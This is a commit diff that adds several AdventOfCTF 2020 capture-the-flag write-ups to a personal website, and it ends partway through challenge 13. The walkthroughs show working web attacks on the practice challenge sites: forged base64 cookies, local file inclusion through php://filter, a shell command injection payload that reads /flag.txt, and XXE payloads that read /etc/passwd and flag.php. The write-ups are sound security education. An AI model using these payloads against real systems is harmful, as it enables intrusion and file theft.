mirror of
https://github.com/maikka39/Personal-Website.git
synced 2026-10-02 14:46:25 +00:00
Restructure writeups
This commit is contained in:
@@ -0,0 +1,50 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 0"
|
||||
subtitle = "Challenge 0 - AdventOfCTF"
|
||||
date = 2020-12-02T17:20:28+01:00
|
||||
description = "A writeup for challenge 0 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/f90b2bf3f08ee628c09505ff309018ed.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1
|
||||
|
||||
## Description
|
||||
|
||||
Do you remember the flag in the teaser website?
|
||||
|
||||
## Solution
|
||||
|
||||
Sadly, the teaser website isn't online anymore. If only someone kept an archive of the internet. This is where the Wayback Machine on [archive.org](https://archive.org/) comes in handy.
|
||||
|
||||
So, let's use the Wayback Machine to get the teaser page. <https://web.archive.org/web/20201112020839/https://adventofctf.com/>
|
||||
|
||||
When we take a look at the source html of the page we find the following comment:
|
||||
|
||||
```html
|
||||
<!-- Ceasar worked on this you know. Tk9WSXtIRVlfMVNfVGgxU19AX0ZsYTk/fQ== -->
|
||||
```
|
||||
|
||||
It looks like some encoded string. If you've been doing CTFs for a while you'll probably recognize it's encoded in `base64`. We can use the program `base64` to decode this string.
|
||||
|
||||
```bash
|
||||
> echo "Tk9WSXtIRVlfMVNfVGgxU19AX0ZsYTk/fQ==" | base64 -d
|
||||
NOVI{HEY_1S_Th1S_@_Fla9?}
|
||||
```
|
||||
|
||||
We found the flag! It's `NOVI{HEY_1S_Th1S_@_Fla9?}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#0-1).
|
||||
@@ -0,0 +1,50 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 1"
|
||||
subtitle = "Challenge 1 - AdventOfCTF"
|
||||
date = 2020-12-02T17:27:25+01:00
|
||||
description = "A writeup for challenge 1 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/3f12301d8715a1371d2d776d25ea6ab6.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 100
|
||||
|
||||
## Description
|
||||
|
||||
All starts should be easy
|
||||
|
||||
Visit <https://01.adventofctf.com> to start the challenge.
|
||||
|
||||
## Solution
|
||||
|
||||
When opening the page, we're asked for Santa's password. Unfortunately, we don't know the password. Don't stop there though, mayby someone has hidden it in the source html.
|
||||
|
||||
Let's open the source by pressing `Ctrl + U` and take a look at it. Near the bottom we find the following comment:
|
||||
|
||||
```html
|
||||
<!-- This is an odd encoded thing right? YWR2ZW50X29mX2N0Zl9pc19oZXJl -->
|
||||
```
|
||||
|
||||
This looks like a `base64` encoded string so let's use the program `base64` with the `-d` decode flag to decode the text.
|
||||
|
||||
```bash
|
||||
> echo "YWR2ZW50X29mX2N0Zl9pc19oZXJl" | base64 -d
|
||||
advent_of_ctf_is_here
|
||||
```
|
||||
|
||||
We get some plain text. If we enter it as Santa's password on the challenge page, it gives us the flag: `NOVI{L3T_7H3_M0NTH_0F_FUN_START}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#1-2).
|
||||
@@ -0,0 +1,67 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 10"
|
||||
subtitle = "Challenge 10 - AdventOfCTF"
|
||||
date = 2020-12-11T22:12:42+01:00
|
||||
description = "A writeup for challenge 10 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/ba15475608ea3f8313825eec5dceac06.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1000
|
||||
|
||||
## Description
|
||||
|
||||
When files are included things can get real messy. The flag is in flag.php.
|
||||
|
||||
Visit <https://10.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
When opening the website we get some text but it is not really useful. So let's go to [`/flag.php`](https://10.adventofctf.com/flag.php) because the description told us the flag is there.
|
||||
|
||||
When opening `/flag.php` we get a message "You are on the right page, but you cannot see what you want yet. Go get promoted!". Hmm, let's take a look at the cookies.
|
||||
|
||||
We find one cookie: `zeroten=eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0%3D`. this looks base64 encoded, so let's try to decode it:
|
||||
|
||||
```bash
|
||||
echo -n "eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=" | base64 -d
|
||||
```
|
||||
|
||||
```json
|
||||
{ "page": "main", "role": "12dea96fec20593566ab75692c9949596833adc9" }
|
||||
```
|
||||
|
||||
We see that we have a `page` and a `role`. Let's try to replace modify `page` to "flag".
|
||||
|
||||
```bash
|
||||
echo -n '{"page":"flag","role":"12dea96fec20593566ab75692c9949596833adc9"}' | base64 -w 0
|
||||
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=
|
||||
```
|
||||
|
||||
We changing the cookie to the new value we get.. nothing... After going back to the home page, we get the text of `/flag.php` so this is probably Local File Inclusion. Let's take another look at the `role`. I don't recognize the format so let's try our friend Google.
|
||||
|
||||
It looks like it is the `SHA-1` hash of "user". We could try to replace the `role` with the `SHA-1` hash of "admin". We can use an online sha1 converter to do this. The output is `d033e22ae348aeb5660fc2140aec35850c4da997`. Now we base64 encode this and put it back into the cookie.
|
||||
|
||||
```bash
|
||||
echo -n '{"page":"flag","role":"d033e22ae348aeb5660fc2140aec35850c4da997"}' | base64 -w 0
|
||||
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiJkMDMzZTIyYWUzNDhhZWI1NjYwZmMyMTQwYWVjMzU4NTBjNGRhOTk3In0=
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
If we now reload the home page, we're greeted with the flag: `NOVI{LFI_1s_ask1ng_f0r_tr0bl3}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#10-11).
|
||||
@@ -0,0 +1,154 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 11"
|
||||
subtitle = "Challenge 11 - AdventOfCTF"
|
||||
date = 2020-12-11T23:45:32+01:00
|
||||
description = "A writeup for challenge 11 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/3542630bd0bb5141d94e4b40930bd69d.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"php",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1100
|
||||
|
||||
## Description
|
||||
|
||||
Santa's book of secrets has upgraded its security. All should be fine now. The flag is in flag.php.
|
||||
|
||||
Visit <https://11.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
When opening the challenge website, we get some text saying "there is only one person on the naughty list". As there is no visible input, we open devtools to have a look at the cookies or javascript. Here we find one cookie:
|
||||
|
||||
```text
|
||||
zerooneone=eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0%3D
|
||||
```
|
||||
|
||||
We'll get back to this later, let's first check the flag location provided in the challenge description [`flag.php`](https://11.adventofctf.com/flag.php). Upon opening it, we get a message: "Direct access not permitted". Quite useless for now.
|
||||
|
||||
### Cookie
|
||||
|
||||
The cookie value looks like a base64 encoded string, so let's try to decode it:
|
||||
|
||||
```bash
|
||||
echo -n "eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0" | base64 -d
|
||||
> {"path":".","page":"main"}
|
||||
```
|
||||
|
||||
The output is some JSON data with a path and a page. Let's try to change the page to `flag`.
|
||||
|
||||
```bash
|
||||
echo -n '{"path":".","page":"flag"}' | base64 -w 0
|
||||
> eyJwYXRoIjoiLiIsInBhZ2UiOiJmbGFnIn0=
|
||||
```
|
||||
|
||||
If we replace the cookie value with this new string and reload the page we get the following message: "Are you trying to get yourself on the naughty list? (no_direct_access)". Sadly we cannot read the flag directly, but this is a different message than the one we got earlier when reading the flag so it might be a different filter. Let's try to access a random page:
|
||||
|
||||
```bash
|
||||
echo -n '{"path":".","page":"asd"}' | base64 -w 0
|
||||
> eyJwYXRoIjoiLiIsInBhZ2UiOiJhc2QifQ==
|
||||
```
|
||||
|
||||
When loading the page with this new cookie we get some PHP warnings.
|
||||
|
||||
### Local File Inclusion
|
||||
|
||||
The error message we got was the following:
|
||||
|
||||
```text
|
||||
Warning: include(./asd.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 76
|
||||
|
||||
Warning: include(): Failed opening './asd.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 76
|
||||
```
|
||||
|
||||
Hmm, it seems like it is directly including the input as the page with `.php` appended to it. As we saw earlier, directly accessing the flag didn't work but maybe if we use another path it does. As we know the document root path of the website, we can use the absolute path to the flag and try to access it that way:
|
||||
|
||||
```bash
|
||||
echo -n '{"path":"/var/www/","page":"html/flag"}' | base64 -w 0
|
||||
> eyJwYXRoIjoiLiIsInBhZ2UiOiIvdmFyL3d3dy9odG1sL2ZsYWcifQ==
|
||||
```
|
||||
|
||||
This time we get another message: "You are on the right page, but you cannot see what you want yet. Go get promoted!".
|
||||
|
||||
### Promotion
|
||||
|
||||
Go get promoted? I have not seen a way to get promoted... I tried adding extra variables to the JSON like `user` and `role` from previous challenges but nothing worked. Then, I remembered we've got local file inclusion and thus might have another way of reading the file.
|
||||
|
||||
### Reading the file
|
||||
|
||||
The reason we cannot get the file by just including it, is that it is a PHP file and the flag is probably a variable in it that is not printed. Because of this, the only way to get the flag would be by getting the source of `flag.php`.
|
||||
|
||||
#### PHP Filters
|
||||
|
||||
PHP has several filters that can be used to read or validate data. This includes [conversion filters](https://www.php.net/manual/en/filters.convert.php). The conversion filter can be used, for instance, convert a file to and from base64. This is exactly what we want as PHP will not thread base64 data as PHP.
|
||||
|
||||
Let's try to use the `base64-encode` filter to encode the `flag.php` file to base64:
|
||||
|
||||
```bash
|
||||
echo -n '{"path":"php://filter/convert.base64-encode/resource=/var/www/","page":"read=html/flag"}' | base64 -w 0
|
||||
> eyJwYXRoIjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy8iLCJwYWdlIjoicmVhZD1odG1sL2ZsYWcifQ==
|
||||
```
|
||||
|
||||
Sadly, we didn't get the file. Instead we got another message: "Are you trying to get yourself on the naughty list? (blacklist)". It seems like the usage of filters is also blacklisted. After several attempts, I got it to work with the following input:
|
||||
|
||||
```bash
|
||||
echo -n '{"path":"php://filter","page":"read=convert.base64-encode/resource=/var/www/html/flag"}' | base64 -w 0
|
||||
> eyJwYXRoIjoicGhwOi8vZmlsdGVyIiwicGFnZSI6InJlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvZmxhZyJ9
|
||||
```
|
||||
|
||||
It seems like the check only looks for `filter/convert` in the path and page separately instead of first joining them together as this time, we got some base64 encoded string as the output:
|
||||
|
||||
```text
|
||||
PD9waHAKaWYoIWRlZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pdHRlZCcpOwp9Cj8+Cgo8aDQ+V2h5IGRvZXMgRWdpc2NoZSBrZWVwIHNob3dpbmcgdXA/PC9oND4KPD9waHAKCmlmICgkX0NPT0tJRVsiemVyb29uZW9uZSJdKSB7CiAgICAkZGF0YSA9IGpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbInplcm9vbmVvbmUiXSksIHRydWUpOwp9CgppZiAoZmFsc2UpIHsKPz4KICAgIDxwPgogICAgICAgIFRoZSBkYXJrIHNlY3JldCBvbiB0aGlzIHBhZ2UgaXM6IE5PVkl7TEZJX2FuZF9zdDFsbF95b3VfZjB1bmRfaXR9CiAgICA8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYXJlIG9uIHRoZSByaWdodCBwYWdlLCBidXQgeW91IGNhbm5vdCBzZWUgd2hhdCB5b3Ugd2FudCB5ZXQuIEdvIGdldCBwcm9tb3RlZCEKICAgIDwvcD4KPD9waHAKfQo/Pgo=
|
||||
```
|
||||
|
||||
## Solution
|
||||
|
||||
If we use the `base64` command again to decode this string we get the following:
|
||||
|
||||
```php
|
||||
<?php
|
||||
if(!defined('MyConst')) {
|
||||
die('Direct access not permitted');
|
||||
}
|
||||
?>
|
||||
|
||||
<h4>Why does Egische keep showing up?</h4>
|
||||
<?php
|
||||
|
||||
if ($_COOKIE["zerooneone"]) {
|
||||
$data = json_decode(base64_decode($_COOKIE["zerooneone"]), true);
|
||||
}
|
||||
|
||||
if (false) {
|
||||
?>
|
||||
<p>
|
||||
The dark secret on this page is: NOVI{LFI_and_st1ll_you_f0und_it}
|
||||
</p>
|
||||
<?
|
||||
} else {
|
||||
?>
|
||||
<p>
|
||||
You are on the right page, but you cannot see what you want yet. Go get promoted!
|
||||
</p>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
It doesn't really look like valid PHP but, we got the flag! It is `NOVI{LFI_and_st1ll_you_f0und_it}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#11-12).
|
||||
@@ -0,0 +1,124 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 12"
|
||||
subtitle = "Challenge 12 - AdventOfCTF"
|
||||
date = 2020-12-14T15:55:21+01:00
|
||||
description = "A writeup for challenge 12 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/af3424cd215a6459494ae07eab33cb35.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"php",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1200
|
||||
|
||||
## Description
|
||||
|
||||
To ensure a good Christmas we implemented some diagnostic tools. This one checks that the time to a destination is within an acceptable range. The flag is in /flag.txt.
|
||||
|
||||
Visit <https://12.adventofctf.com> to start the challenge.
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
Upon opening the challenge website we're greeted with an input field and a check button. Let's enter some text in the input and press the check button. Initially, nothing happens but after a few seconds we get a result: `1607956922.306628 Destination check was OK`. As the page didn't reload there is probably some javascript in play. Indeed there is, when opening the source, we find a script tag with the following javascript function:
|
||||
|
||||
```js
|
||||
function send() {
|
||||
let place = $("#place")[0].value;
|
||||
if (place.length > 0) {
|
||||
$.post("/", { place: place }, function (data) {
|
||||
$("#result")[0].innerHTML = "<b>" + data + "</b>";
|
||||
});
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
If we analyze this function a bit we find that it executes a `POST` request to `/` and puts the result in an HTML element with this selector: `'#result'`.
|
||||
|
||||
Let's try some more inputs. Just plain text doesn't seem to change the result much besides the number before "Destination check". If we, however, enter a quote (`"`), we get a different result back:
|
||||
|
||||
```text
|
||||
Something happened: /bin/bash: -c: line 0: unexpected EOF while looking for matching `"'
|
||||
/bin/bash: -c: line 1: syntax error: unexpected end of file
|
||||
```
|
||||
|
||||
And inputting a backtick (`) returns this error:
|
||||
|
||||
```text
|
||||
Something happened: BusyBox v1.31.1 () multi-call binary.
|
||||
|
||||
Usage: nslookup [-type=QUERY_TYPE] [-debug] HOST [DNS_SERVER]
|
||||
|
||||
Query DNS about HOST
|
||||
|
||||
QUERY_TYPE: soa,ns,a,aaaa,cname,mx,txt,ptr,any
|
||||
```
|
||||
|
||||
### nslookup
|
||||
|
||||
I spend quite some time trying to find a way to get out of this command but I could not get anything to work so I took a break.
|
||||
|
||||
### Redirection
|
||||
|
||||
When I came back, I tried inputting a redirect character (`>`) and it gave a result!
|
||||
|
||||
## Getting some output
|
||||
|
||||
After entering a redirection character (`>`) we get the following result:
|
||||
|
||||
```text
|
||||
Something happened: /bin/bash: -c: line 0: syntax error near unexpected token `newline'
|
||||
/bin/bash: -c: line 0: `./check >'
|
||||
```
|
||||
|
||||
This means we can redirect output and thus get arbitrary code execution by putting a sub-command as the output like so:
|
||||
|
||||
```bash
|
||||
> $(ls)
|
||||
```
|
||||
|
||||
But entering this gave an error:
|
||||
|
||||
```text
|
||||
Something happened: /bin/bash: $(ls): ambiguous redirect
|
||||
```
|
||||
|
||||
This means that, while it does work, it does not work directly as the output isn't valid. If we, however, put a sub-command inside a sub-command (`> $($(ls))`), the inner output will be printed:
|
||||
|
||||
```text
|
||||
Something happened: /bin/bash: app.py: command not found
|
||||
/bin/bash: $($(ls)): ambiguous redirect
|
||||
```
|
||||
|
||||
As we can see, there seems to be an `app.py` file but we don't care about it now. Let's try to cat the flag from the location specified in the challenge description (`/flag.txt`) by entering the following input: `>$($(cat /flag.txt))`. This return the following result:
|
||||
|
||||
```text
|
||||
Something happened: /bin/bash: Congratulations,: command not found
|
||||
/bin/bash: $($(cat /flag.txt)): ambiguous redirect
|
||||
```
|
||||
|
||||
As we can see, it did read the file. Sadly, however, it only returned the first line...
|
||||
|
||||
At this point, I didn't really know what to do but just as I was about to take another break, [@credmp](https://twitter.com/credmp) posted a hint on Twitter. It said the following: "Hint: all error messages are printed on stderr.".
|
||||
|
||||
### Redirecting the output
|
||||
|
||||
After reading this tweet, I tried the following input: `>$(cat /flag.txt>/dev/stderr)` and it immediately worked! I felt pretty stupid for not having thought about that 😐.
|
||||
|
||||
## Solution
|
||||
|
||||
So redirecting the output to `stderr` worked and we got the flag: `NOVI{we_are_halfway_to_christmas!}`.
|
||||
|
||||
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#12-13).
|
||||
@@ -0,0 +1,221 @@
|
||||
+++
|
||||
author = "Maik de Kruif"
|
||||
title = "Challenge 13"
|
||||
subtitle = "Challenge 13 - AdventOfCTF"
|
||||
date = 2020-12-14T18:48:28+01:00
|
||||
description = "A writeup for challenge 13 of AdventOfCTF."
|
||||
cover = "img/writeups/adventofctf/2020/24e9ce8f146f70b4189f1d2532a75208.png"
|
||||
tags = [
|
||||
"AdventOfCTF",
|
||||
"challenge",
|
||||
"ctf",
|
||||
"hacking",
|
||||
"writeup",
|
||||
"web",
|
||||
"php",
|
||||
]
|
||||
categories = [
|
||||
"ctf",
|
||||
"writeups",
|
||||
"hacking",
|
||||
]
|
||||
+++
|
||||
|
||||
- Points: 1300
|
||||
|
||||
## Description
|
||||
|
||||
Lucky number 13! It is like the nightmare before Christmas, except this thing has given many developers nightmares since the late '90s. The flag is in flag.php.
|
||||
|
||||
URL: <https://13.adventofctf.com>
|
||||
|
||||
## Finding the vulnerability
|
||||
|
||||
Upon opening the challenge's website, we're greeted with the following text: "No content" "This is the result of your POST". This means we probably have to send a `POST` request to the website.
|
||||
|
||||
### Sending a POST request
|
||||
|
||||
To create a `POST` request we can use the Repeater functionality in [Burp Suite](https://portswigger.net/burp) or use cURL like so:
|
||||
|
||||
```bash
|
||||
curl -X POST -d 'variable=test' https://13.adventofctf.com
|
||||
```
|
||||
|
||||
When executing this cURL command, we get some output back:
|
||||
|
||||
```html
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '<' not found in
|
||||
Entity, line: 1 in <b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: simplexml_import_dom(): Invalid Nodetype to import in
|
||||
<b>/var/www/html/index.php</b> on line <b>41</b><br />
|
||||
<br />
|
||||
<b>Fatal error</b>: Uncaught Error: Call to a member function asXML() on null in
|
||||
/var/www/html/index.php:43 Stack trace: #0 {main} thrown in
|
||||
<b>/var/www/html/index.php</b> on line <b>43</b><br />
|
||||
```
|
||||
|
||||
We can see that PHP is trying to load XML. If we look for XML vulnerabilities on the internet we find XXE.
|
||||
|
||||
### XML External Entity
|
||||
|
||||
An XML External Entity (XXE) attack is an attack in which we can leverage XML to leak information about the server. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.
|
||||
|
||||
So, let's try to use an XXE attack on this challenge. An easy way to check for a possible XXE vulnerability is the following:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
|
||||
<root>&test;</root>
|
||||
```
|
||||
|
||||
This bit of XML tries to load the contents of `/etc/passwd` and then puts it in the XML. Because the challenge website shows us the result of our `POST` request, this is then put in the HTML shown to us.
|
||||
|
||||
In this case, it returned the following:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY test SYSTEM "file:///etc/passwd">
|
||||
]>
|
||||
<root>root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
</root>
|
||||
```
|
||||
|
||||
This means our XXE attack worked and we can now try to get the flag.
|
||||
|
||||
## Getting the flag
|
||||
|
||||
Let's try to use the previous attack but with the flag file:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///var/www/html/flag.php'>]>
|
||||
<root>&test;</root>
|
||||
```
|
||||
|
||||
We get a big error:
|
||||
|
||||
{{< code language="html" title="Error message" >}}
|
||||
|
||||
```html
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): StartTag: invalid element name in
|
||||
file:///var/www/html/flag.php, line: 1 in <b>/var/www/html/index.php</b> on line
|
||||
<b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: link
|
||||
line 11 and head in file:///var/www/html/flag.php, line: 19 in
|
||||
<b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: img
|
||||
line 57 and div in file:///var/www/html/flag.php, line: 58 in
|
||||
<b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: div
|
||||
line 21 and body in file:///var/www/html/flag.php, line: 73 in
|
||||
<b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: body
|
||||
line 20 and html in file:///var/www/html/flag.php, line: 74 in
|
||||
<b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 8
|
||||
in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on
|
||||
line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 7
|
||||
in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on
|
||||
line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 5
|
||||
in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on
|
||||
line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 4
|
||||
in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on
|
||||
line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag head line 3
|
||||
in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on
|
||||
line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag html line 2
|
||||
in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on
|
||||
line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): chunk is not well balanced in
|
||||
file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on
|
||||
line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Failure to process entity test in
|
||||
Entity, line: 3 in <b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: DOMDocument::loadXML(): Entity 'test' not defined in Entity,
|
||||
line: 3 in <b>/var/www/html/index.php</b> on line <b>40</b><br />
|
||||
<br />
|
||||
<b>Warning</b>: simplexml_import_dom(): Invalid Nodetype to import in
|
||||
<b>/var/www/html/index.php</b> on line <b>41</b><br />
|
||||
<br />
|
||||
<b>Fatal error</b>: Uncaught Error: Call to a member function asXML() on null in
|
||||
/var/www/html/index.php:43 Stack trace: #0 {main} thrown in
|
||||
<b>/var/www/html/index.php</b> on line <b>43</b><br />
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
|
||||
We probably got it because PHP is actually handling the PHP file as a PHP file 😀. This means we have to get it in some other way.
|
||||
|
||||
To do this, we can use the same method as we used in [challenge 11]({{< ref "challenge_11.md" >}}). There we used the PHP filter `convert.base64-encode` which converts it's input to base64.
|
||||
|
||||
We can use it like so:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=flag.php'>]>
|
||||
<root>&test;</root>
|
||||
```
|
||||
|
||||
If we create a `POST` request with this as the input, we get the following result:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=flag.php">
|
||||
]>
|
||||
